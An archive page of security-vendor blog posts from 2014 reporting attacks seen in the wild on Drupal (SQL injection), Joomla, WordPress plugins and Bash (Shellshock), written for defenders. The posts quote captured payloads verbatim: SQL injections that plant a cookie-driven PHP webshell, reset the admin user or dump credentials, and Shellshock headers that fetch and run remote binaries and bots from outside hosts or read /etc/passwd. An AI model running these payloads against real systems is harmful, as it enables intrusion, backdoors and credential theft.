Daniel B. Cid

About Daniel Cid

Daniel B. Cid is the Founder & CTO of Sucuri and also the founder of the open source OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development.

You can find more about Daniel at his site dcid.me or on Twitter: @danielcid

Drupal SQL Injection Attempts in the Wild

Less than 48 hours ago, the Drupal team released an update (version 7.32) for a serious security vulnerability (SQL injection) that affected all versions of Drupal 7.x.

Our last post shared some thoughts on the issue, specifically concerns around how simple a vulnerability it was to exploit and how time was the only delay in seeing wide spread attacks. Being that Drupal is one of the most popular platforms dominating the CMS space today (along with WordPress and Joomla), it only makes sense, that attackers will try to leverage it.

When the a simple vulnerability is introduced that has massive impact, it’s unfortunately a recipe for disaster.

Attacks in the Wild

The first attack started 8 hours after the disclosure. The attackers began hitting our honeypots with the following SQL Injection attempt. The same IP also tried to attack our own site.

Sample attack:

POST /?q=node&destination=node HTTP/1.1" 403 4123 "sucuri.net" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" 
Payload:
name [0%20and%20extractvalue(1, concat(0x5c, (select md5(1122) from 
information_schema.tables limit 1)));%23%20%20]=removed&name[0]=removed&pass=removed&
removed=removed&form_build_id=&form_id=user_login_block&op=Log+in

This initial attempt wasn’t that malicious, seems more like it was a test to see if we were vulnerable (or maybe testing their tools). Decoding the SQLi attack, you find they are doing a SELECT md5() from the information_schema.tables.

A few hours later the real attacks began, attempting to mass compromise Drupal-based websites. The more common attack tries to inject a backdoor into Drupal’s menu_router with the following query:

name=\x22name[0; INSERT INTO `menu_router` (`path`, `load_functions`, 
`to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES ('removed', 
'', '', 'removed', 'file_put_contents', 0x613a323a7b693a303b733a32343a226d6f64756c657f6.....6870696e666f28293b223b7d);;#  ]

It runs the INSERT query into the menu_router, passing a call to file_put_contents to insert the following file:

a:2:{i:0;s:24:"modules/trigger/XXX-removed.php";i:1;s:14:"<?php $form1=@$_COOKIE["removed"]; 
if ($form1){ $opt=$form1(@$_COOKIE["removed"]); $au=$form1(@$_COOKIE["removed"]); 
$opt("/16/e",$au,16); } phpinfo();";}

Once inserted it provides the attacker full shell access to the hacked site (all commands passing via cookies). That has our team very worried that we might see a massive compromise of Drupal sites that have not updated yet.

Other attacks include attempts to list all users passwords:

name[0%20and%20extractvalue(1, concat(0x5c, (select
+md5(1016)+from+users+limit+0,1)));%23%20%20]=test3&name[0]=test&pass=shit2&test2=test

Some attempts to inject content into menu_router:

form_id=user_login&name[a;%0aTRUNCATE+TABLE+cache_bootstrap
%3BUPDATE+menu_router+SET+access_arguments%3D0x613a313a7b733a348355...
access_callback%3D0x7068705f6576616c+WHERE+path%3D0x75736572%3B
UPDATE+system+SET+status+%3D+1+WHERE+name+%3D+0x706870%3BINSERT+
INTO+registry_file+%28filename%2Chash%29+VALUES+%280x6d6f64756c6..
3964333763396331616263%29%3B%23]=yo&name[a]=heh&op=Log+in&pass=bb

Some attempts to inject a new admin user:

name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'%24S%24CTo9G7L...3a3g'+
where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&
form_id=user_login_block&op=Log+in"

All attempts sharing a similar trait, they are very serious attacks. The bad news is that we are seeing many Drupal sites still not updated against this vulnerability. As we said before, sites behind our Website Firewall are protected against this issue, so if you are concerned about exploits, you can give it a try.

We are actively monitoring the issue and we will keep pushing updates as we learn more.

Highly Critical SQL Injection Vulnerability Patched in Drupal Core

The Drupal team just released a security update for Drupal 7.x to address a highly critical SQL injection vulnerability. This bug can be exploited remotely by non-authenticated users and was classified as “Highly Critical” by the Drupal Security team. More information is available in their public advisory:

Posted by Drupal Security Team on October 15, 2014 at 4:02pm
Advisory ID: DRUPAL-SA-CORE-2014-005
Version: 7.x
Date: 2014-Oct-15
Security risk: 20/25 ( Highly Critical) AC:Basic/A:None/CI:All/II:All/E:Theoretical/TD:All
Vulnerability: SQL Injection


Read More

WordPress Websites Continue to Get Hacked via MailPoet Plugin Vulnerability

The popular Mailpoet(wysija-newsletters) WordPress plugin had a serious file upload vulnerability a few months back, allowing an attacker to upload files to vulnerable sites.

This issue was disclosed months ago and the MailPoet team patched it promptly. It seems, though, that many website owners have still not gotten the word, or are blatantly not updating, because we are seeing another string of mass exploitation attempts against WordPress websites. Those that are not or have not updated are getting infected repeatedly via this vector. The issue is compounded further because the attackers are using it as a spring board into the rest of their account further compromising their entire account.

Please, we cannot stress the importance of updating enough, and not just your active website, but any other websites you have in your stack, under the same account. Cross-site contamination is a very serious issue. If you can’t update for whatever reason, employ the use of a Website Firewall, at a minimum, and stop the attackers before they get in.

The Payload

We are lucky because the volume of infected websites we see daily allows us to analyze and clean hundreds of websites which then allows us to establish processes that escalate cases if they trigger specific similarities. It’s part of our pattern recognition process. It’s at this point that our Research team gets involved to better understand the cause and introduce new solutions to 1) clean it faster and 2) see if there is something we can do to get ahead of it (it’s what leads to these posts).


Read More

Website Attacks – SQL Injection And The Threat They Present

We are starting a new series of articles where we will talk about different active website attacks we are seeing.

The first one we will cover is known as a SQL Injection (SQLi). Some might know what a SQL Injection (SQLi) attack looks like, but assuming you don’t, it’s an attack that leverages an injection technique to manipulate and / or further exploit your SQL based database. It does this by passing queries and commands to your database, often via input forms on your website. The Open Web Application Security Project (OWASP) defines an SQLi attack as:

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands. – OWASP

An example of what an attack may look like can be seen in the following query:

SELECT subject from posts WHERE subject LIKE '%$subject%';

If the $subject variable can be manipulated by a bad actor. Manipulation can include modification of data, display or listing of data and possibly even insertion of new data. In some special cases, it can also be used to execute shell commands and / or dump passwords (tip: MySQL Load_file function). To give a extreme example, this is the screenshot from one or our researchers doing a penetration test against a vulnerable application:

Sucuri - SQL Injection Example - Load File Abuse

Sucuri – SQL Injection Example – Load File Abuse

Our researcher was able to use load_file() to dump the password list from the server.

What we’ve provided here is a very watered down summary of what SQLi is and what it’s important to you, if you are a developer or enduser we recommend you invest more time understand this attack vector and its implications to your website. A good resource is the OWASP – Testing for SQL Injection page.

SQL Injection Attacks

We are currently seeing more than 50,000 attacks per day that fall into our SQL Injection categorization. Most of them are automated and try to compromise well known vulnerabilities in common CMS’s and web projects (Joomla, WordPress, vBulletin, etc).

This is the attack fluctuation for SQLi attacks, month over month:

Sucuri - Month over Month Distribution of SQLi Attacks

Sucuri – Month over Month Distribution of SQLi Attacks

The number of attacks we are detecting is growing each month, this is to be expected though as our Website Firewall product continues to grow. Overall though, the number of SQL injection attempts continue to grow.

If we drill down into our data and hook it up to a geo locator we can also see that the attacks come from everywhere. Most people tend to think that Russia, Brazil, Romania and a few other countries are the “bad” sources, but for SQL injection, the top attackers come from the USA, India, Indonesia and China:

sql-injection-map

So unless you only service one specific country and don’t care about the rest of the world, Geo blocking is not a good protection against automated SQL injections. What we found interesting is that most bots still like to fake themselves as either Google, MSIE 6 or set no user agent at all:

16%- MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
13%- Googlebot/2.1; +http://www.google.com/bot.html)
11%- No user agent

Just by blocking these anomalous requests, you can get ride of 1/3 of all automated injection attempts.

Attack Types

The attacks really vary from each other, but we feel most can be classified into two categories:

1- Data Exfiltration

Data exfiltration via SQL Injection is what has contributed to some of the largest data breaches to date. The attackers find a vulnerability
that allows them to list all tables and dump all user accounts, emails and passwords.

Here is an example of what we consider data exfiltration, this is an active attack via our network:

/NewsType.asp?SmallClass='%20
union%20select%200,username%2BCHR(124)
%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin
%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

You can see the smallclass variable was not being properly filtered, instead of accepting the Class ID, it allowed the attackers to run a query to the database to list all username and passwords from the admin table.

Had the user not been leveraging a Website Firewall, the attacker would have had his information compromised. This is a very good example of this classification, it demonstrates well what the attack looks like.

This is another example:

/index.php?view=article&id=422:undef&catid=170:2014-service-providers&Itemid=713&option=com_content'%20%20and(select%201%20from(select%20count(*),
concat((select%20(select%20(select%20concat(0x53,0x65,0x61,0x72,0x63,0x68,0x43,0x6F,
0x6C,0x6C,0x65,0x63,0x74,0x6F,0x72)%20from%20%60information_schema%60.tables%20limit%200,1))
%20from%20%60information_schema%60.tables%20limit%200,1),floor(rand(0)*2))x%20
from%20%60information_schema%60.tables%20group%20by%20x)a)%20and%207=7%20%20and%20''='

This code is a bit more complex, it tries to do the same form of exfiltration.

Another one we are seeing very often is against Joomla’s com_kunena module, attempting to exploit the latest disclosed vulnerability:

/index.php?option=com_kunena&func=
userlist&search=%25'/**//*!aNd*//**/1=2)/**//*!uNioN*//**//*!SeLecT*//**/1,/*!
concat(0x3b3b3b,username,0x3e3e3e,password,0x7c7c7
c,usertype)*/,/*!concat(0x3b3b3b,username,0x3e3e3e,password,0x7c7c7c,usertype)
*/,4,5,6,7,8,9,10,11,12,13,14,15/**//*!fRoM*//**/j
os_users/**//*!WheRe*//**/usertype=0x53757065722041646d696e6973747261746f72/**/
/*!oR*/usertype=0x41646d696e6973747261746f72%20--
%20;

2- Code Injection

We don’t see these very often, they often rely on some initial vulnerability pre-tests that we block automatically via our Website Firewall making it that much harder to record and attempt. A good example of malicious code injection happened with the old Robint/Lizamoon type of attacks against IIS web sites.

It was running this code:

0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696
E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ”%robint%”’) fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;–

Which would force the injection of JavaScript into some vulnerable websites database tables.

Conclusion

SQL Injections are a real threat, they are being actively attacked and exploited every day. If you are a developer you should be leveraging the OWASP SQL Injection Prevention Cheat Sheet at a minimum. In it you will find recommendations categorized into two groups Primary and Additional Defenses.

Primary Defenses:

Option #1: Use of Prepared Statements (Parameterized Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input

Additional Defenses:

Also Enforce: Least Privilege
Also Perform: White List Input Validation


Now my question is to you, those reading this and interested in the data, what additional information would you like to see in our reports and posts? We’re always looking for feedback and insights to improve our content and contributions.

Phishing with help from Compromised WordPress Sites

We get thousands of spam and phishing emails daily. We use good spam filters (along with Gmail) and that greatly reduces the noise in our inbox. Today though, one slipped through the crack and showed up in my personal inbox:

Gmail Phishing


Read More

Joomla! 3.3.5 Released – Fixing High Priority Security Issues

Update: It seems like there is a glitch in the new version and the Joomla team is urging its users not to upgrade yet. From their twitter:

Screen Shot 2014-09-30 at 4.04.31 PM

Original post:

The Joomla team just released versions 3.3.5, 3.2.6 and 2.5.26, patching high priority security issues. The first one is an Remote File Include (RFI) vulnerability and the second one is a Denial of Service (DoS) vulnerability that affect all previous versions. If you are using Joomla, stop what you are doing and update it now!

The good news for our clients and what’s very exciting for us, me especially, is to see how the virtual hardening on our CloudProxy Website firewall protected our clients automatically against this vulnerability. As our researchers started to analyze the disclosure, we quickly noticed that it was already covered and the URL used to trigger this bug was already blocked by default. It means that our clients got zero-day protection without anyone even knowing about this issue.

For more information on these vulnerabilities, you can get straight from the Joomla! release notes:

High Priority – Core – Remote File Inclusion:

Project: Joomla!
SubProject: CMS
Severity: Moderate
Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4
Exploit type: Remote File Inclusion
Reported Date: 2014-September-24
Fixed Date: 2014-September-30
CVE Number: CVE-2014-7228

Inadequate checking allowed the potential for remote files to be executed.

This issue was discovered by Johannes Dahse and disclosed to Akeeba (and Joomla). The Akeeba team released a good post explaining the issue. We recommend reading if you are interested in the technical details.

Medium Priority – Core – Denial of Service:

Project: Joomla!
SubProject: CMS
Severity: Low
Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4
Exploit type: Denial of Service
Reported Date: 2014-September-24
Fixed Date: 2014-September-30
CVE Number: CVE-2014-7229

Inadequate checking allowed the potential for a denial of service attack.

Again, if you are using the Joomla! we highly recommend updating immediately.

Bash – ShellShocker – Attacks Increase in the Wild – Day 1

The Bash ShellShocker vulnerability was first disclosed to the public yesterday, 2014/Sep/24. Just a few hours after the initial release, we started to see a few scans looking for vulnerable servers. Our Website Firewall (CloudProxy) had already virtually patched the vulnerability via it’s Zero Day response mechanism. This allowed us to to create sinkholes to start analyzing the incoming attacks, current and as they evolve.

Most of the scans were not malicious; they appeared to be checking for the vulnerability, which is to be expected as researchers began checking their environments and others.

Most scan attempts were benign and looked something like this:

"() { :;}; /bin/bash -c \x22uname -a\x22"

"() { :;}; echo vulnerable' bash -c \x22ls /\x22" 

As the news about this vulnerability spread, nothing much major happened. Various posts were released talking to the potential impact, breakdown of the possibilities, etc. In fact, many researchers thought it was more FUD than the huge security issue the media was making it out to be. We were not discounting the seriousness of the vulnerability, but an exploit appeared to require a very unique server configuration, affecting a low number of web servers. The odds would be in your favour to have better luck scanning and exploiting the great number of out of date versions of WordPress, Joomla, Drupal and their various extensions and components.

Bash ShellShocker – Day 1

Our perspective on this changed when we identified cPanel as the potential entry point. cPanel servers are employed by thousands – if not millions of websites owners, now putting those website owners and their website in the direct line of fire, regardless of platform. What started as something big, but not critical, rapidly switched priorities.

In the first day, few hours, we are seeing thousands of requests to different web sites attempting all types of exploits.

From attackers trying to set up remote shells:

"() { :; }; /bin/bash -c \x22if [ $(/bin/uname -m | /bin/grep 64) ]; 
then /usr/bin/wget 82.118.242.223:5487/v64 -O /tmp/.osock;  else /usr/bin/wget 82.118.242.223:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &\x22" "PROXYBLOCKID:" "

To the configuration of IRC bots:

() { :;}; /bin/bash -c \x22cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22"

All being crammed inside the user agent, referrer and other HTTP headers. We are also seeing a lot of discovery still going on, like these attempts:

() { ignored;};/usr/bin/wget 176.99.6.189:3128/site.com"

() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"

() { :; }; /bin/cat /etc/passwd > /tmp/d1.txt"

() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq"

() { :; }; ping -c 17 209.126.230.74" "() { :; }; ping -c 17 209.126.230.74" 

() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=site.com -O /tmp/a.pl\x22"

() { :;}; echo; /usr/bin/id" "https://shellshock.detectify.com"

() { :;}; /usr/bin/env curl -s http://antalos.com/l.php?trg=sitbase64   > /dev/null" "() { :;}; /usr/bin
/env curl -s http://antalos.com/l.php?trg=sitebase64  > /dev/null"

() { :;}; /bin/env curl -s http://panhandlenursing.org/lib/adv_reports/l/l.php?trg=sitebase64  > /dev/nu
ll"

() { :;}; /bin/bash -c \x22wget http://psicologoweb.net/mc/s.php/site.com\x22"

() { :;}; wget http://shellshock.brandonpotter.com/report/site/Referer" 

() { :; }; curl http://vk.websecurelogin.com/b/?url=websiterecord.com/dm/xar.sh"

() { test;};/usr/bin/wget http://ytcracker.com/music/spamtec%20-%20apm.mp3 -O ~/cgi-bin/APM.mp3"

And even via email:

() { :; }; mail -s \x22Your files\x22 mailXXXtest@gmail.com

So far we identified 90+ different IP addresses doing mass scans, the worst offenders being:

     23.235.43.31
     54.228.25.245
     23.235.43.21
     23.235.43.27
     198.58.106.99
     23.235.43.25
     23.235.43.23
     23.235.43.29
     108.174.50.137
     201.67.234.45
     128.199.216.68
     75.127.84.182
     82.118.242.223
     24.251.197.244
     166.78.61.142

The most targeted URLs have been:

/cgi-sys/entropysearch.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-mod/index.cgi
/cgi-bin/test.cgi
/cgi-bin-sdb/printenv

We will keep monitoring and we will post more details as we go.


If you think or find that your web server is vulnerable but find yourself in a position where you can’t patch for whatever reason, not to worry. We will providing 30 day free trials of our Website Firewall, please submit an email to info@sucuri.net.

Many might be using the CloudFlare Free product, please note that you are not protected from this with their Free product as it is a CDN and not a WAF. To get protection from this, and any other software vulnerabilities, you’ll need to use one of their paid products.

Additionally, CloudFlare has prepared Web Application Firewall (WAF) rules to protect customers who have not yet patched their own servers. This firewall rule is available to Pro, Business, and Enterprise customers. We have enabled this rule by default, so no WAF configuration is necessary. – CloudFlare

Not to worry, our Website Firewall sits perfectly behind the CloudFlare CDN and we have ample instructions on how to achieve this. Get the best of performance optimization, while keeping your website and it’s readers safe.

Bash Vulnerability – Shell Shock – Thousands of cPanel Sites are High Risk

The team behind the Bash project (the most common shell used on Linux) recently issued a patch for a serious vulnerability that could allow for remote command execution on servers running the vulnerable bash versions.

Wait, remote command execution on bash? You are likely asking yourself, “How can someone remotely execute commands on a local shell?”

The issue starts with mod_cgi and how web servers interact with CGI programs (that could be written in Perl, PHP, Shell scripting or any other language). The web server passes (environment) user variables to them so they can do their work. In simple terms, this vulnerability allows an attacker to pass a command as a variable that gets executed by bash.

It means that if you are using mod_cgi on your webserver and you have a CGI written in shell script, you are in deep trouble. Drop everything now and patch your servers.

If you have CGI’s written on any other language, but you are using “system()”, “(backticks)” or executing any commands from the CGI, you are in deep trouble. Drop everything now and patch your servers.

If you don’t know what you have, Drop everything now and patch your servers.

Who is vulnerable?

Almost every server in the Internet is vulnerable to it (every server has Bash). But not all sites are actually exploitable.

I mean, who really still uses mod_cgi instead of mod_php/fast_cgi that would be safe? Or who would write a CGI in shell scripting?

cPanel users at Risk

Well, turns out cPanel does that for some of their internal tools.

As we started to scan our clients sites (and the Internet as a whole) we found that about 2.9% of all sites we scanned were vulnerable to this problem. All of them were running cPanel and had these 2 files available:

/cgi-sys/entropysearch.cgi
/cgi-sys/FormMail-clone.cgi

When we talk about millions of websites online, 2.9% is a lot. Just from our investigation, we found thousands of websites vulnerable and easily compromised.

If you are using cPanel, you have to patch your servers right away (or remove these files from the server)!

For Sucuri clients, sites behind our Website Firewall / WAF are already protected against it.

But we still recommend patching.

Attacks in the Wild

We are seeing many scans for this vulnerability in the wild, but mostly coming from security researchers trying to understand the severity of it (nothing really bad yet). So far, these two IP addresses (166.78.61.142, 24.251.197.244) are hitting every site they can, trying to trigger the vulnerability

166.78.61.142 – – [25/Sep/2014:06:28:47 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444″

24.251.197.244 – – [25/Sep/2014:07:49:36 -0400] “GET / HTTP/1.1″ 200 193 “-” “() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq”

We have not detected any massive scans looking for real CGI that would be vulnerable (that’s where the problem lies).

Even if you are using mod_php for your web application (like WordPress or Joomla), you have to make sure that mod_cgi is not enabled for things like your cpanel backend or Plesk or any other management tool.

In a few more days we will see real scans and actual attacks attempting to exploit this Shell Shock vulnerability.

NIX System Administrators

You’re in luck with this one, identifying if you’re vulnerable is easier than previous vulnerabilities. Log into your server and via terminal run this command:

[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable' bash -c 'echo hello'

If you are vulnerable it will return:

[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable' bash -c 'echo hello'
vulnerable
hello

To fix it will depend on your NIX distribution but you will want to reinstall or update, which ever you prefer:

#sudo apt-get install bash

- or - 

#sudo yum update bash

Once complete, rerun the test and you will get:

[root@yourawesomeserver ~]# env x='() { :;}; echo vulnerable' bash -c 'echo hello'
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
hello

Anatomy of 2,000 Compromised Web Servers used in DDoS Attack

This post is available in Spanish (Este post está disponible en español).


One of our clients was being attacked by a layer-7 DDoS attack for more than a week. The attack was generating around 5,000 HTTP requests per second, which took his site and server down. It also caused his hosting company to suspend his server for “ToS violation”. Yes, some hosting companies consider a ToS violation if you are suffering a DDoS. It is mostly an excuse to protect their networks, but very annoying for someone victim of an attack.

After a week of pain, he found our Website Firewall (WAF) product, the rest as they say is history. We were able to quickly block the attack and restore his site to normal operations. If that was all that there was to the story, then many would find this to be a very uninteresting story.

A Diamond in the Ruff

As is customary in our lab, we began analyzing the attack to see if there was anything else we could learn. That is when we noticed something curious, the IP addresses hitting the server were always constant.

We did some operating system identification (using p0f) and the attack was coming mostly from web servers running on Windows and Linux:

Sucuri - Web Server Compromise - Operating System Distribution

This is a bit unusual, most layer-7 DDoS attacks leverage compromised desktops and very few of them actually run on Linux. We also started checking the banners of these IPs and we saw a variety of web servers, but the majority of them were running Apache:

Sucuri - Web Server Compromise - Makeup Distribution

There were also a number of other IP addresses that were not displaying the server banner (or too slow to respond to our HTTP queries). This is the breakdown of the most used web servers on the IP addresses attacking our client:

Sucuri - Web Server Compromise - Web Servers

These were but a subset of the most active, in total we found close to 2,000 different IP addresses causing the damage (each one hitting the server a few times per second).

As far as location, most of them were coming from China, Taiwan and Thailand:

Sucuri - Layer 7 DDOS Attack  Source

Another interesting point is that more than 300 of them were using “AppServ Open Project” (version 2.5.9 or 2.5.10), which unfortunately bundles an old and outdated version of PHPMyAdmin.

Compromised Web Servers

From what we could gather, it seems someone created a bot net of compromised web servers that are running AppServ, outdated Apache, outdated IIS and other vulnerable software (e.g., PHPMyadmin).

This setup gives the attackers good power when attacking sites as they remain anonymous behind proxies. In this scenarios, they specifically focused on Layer 7 HTTP flood attacks, but it could have as easily been DNS application, an SSDP attack or any number of the available options when it comes to DDoS.

We will be contacting the network/hosts responsible for them to see if we can get them patched or shut down.


If your are a victim of a DDoS attack and need help, let us know, we’d love to help, you can start here.

Slider Revolution Plugin Critical Vulnerability Being Exploited

This post is available in Spanish (Este post está disponible en español).


Mika Epstein, Ipstenu, of Dreamhost, notified us today of a serious vulnerability in the WordPress Slider Revolution Premium plugin which was patched silently.

It turns out that the vulnerability was disclosed via some underground forums. ThemePunch confirms that their plugin was patched in version 4.2 for those that purchase the plugin directly from them, and they include an auto-updater which would address the problem. The real issue lies in the way the plugin is wrapped into theme packages. ThemePunch’s approach to disclosing the issue was based on guidance they received. [updated 20140903]

This a very popular plugin, and appears to be one of the most downloaded slider plugins from Envato’s Marketplace – Code Canyon. It also appears to be bundled in theme packages so be sure to check your theme / plugins.

This is an example of where things go terribly wrong.


Read More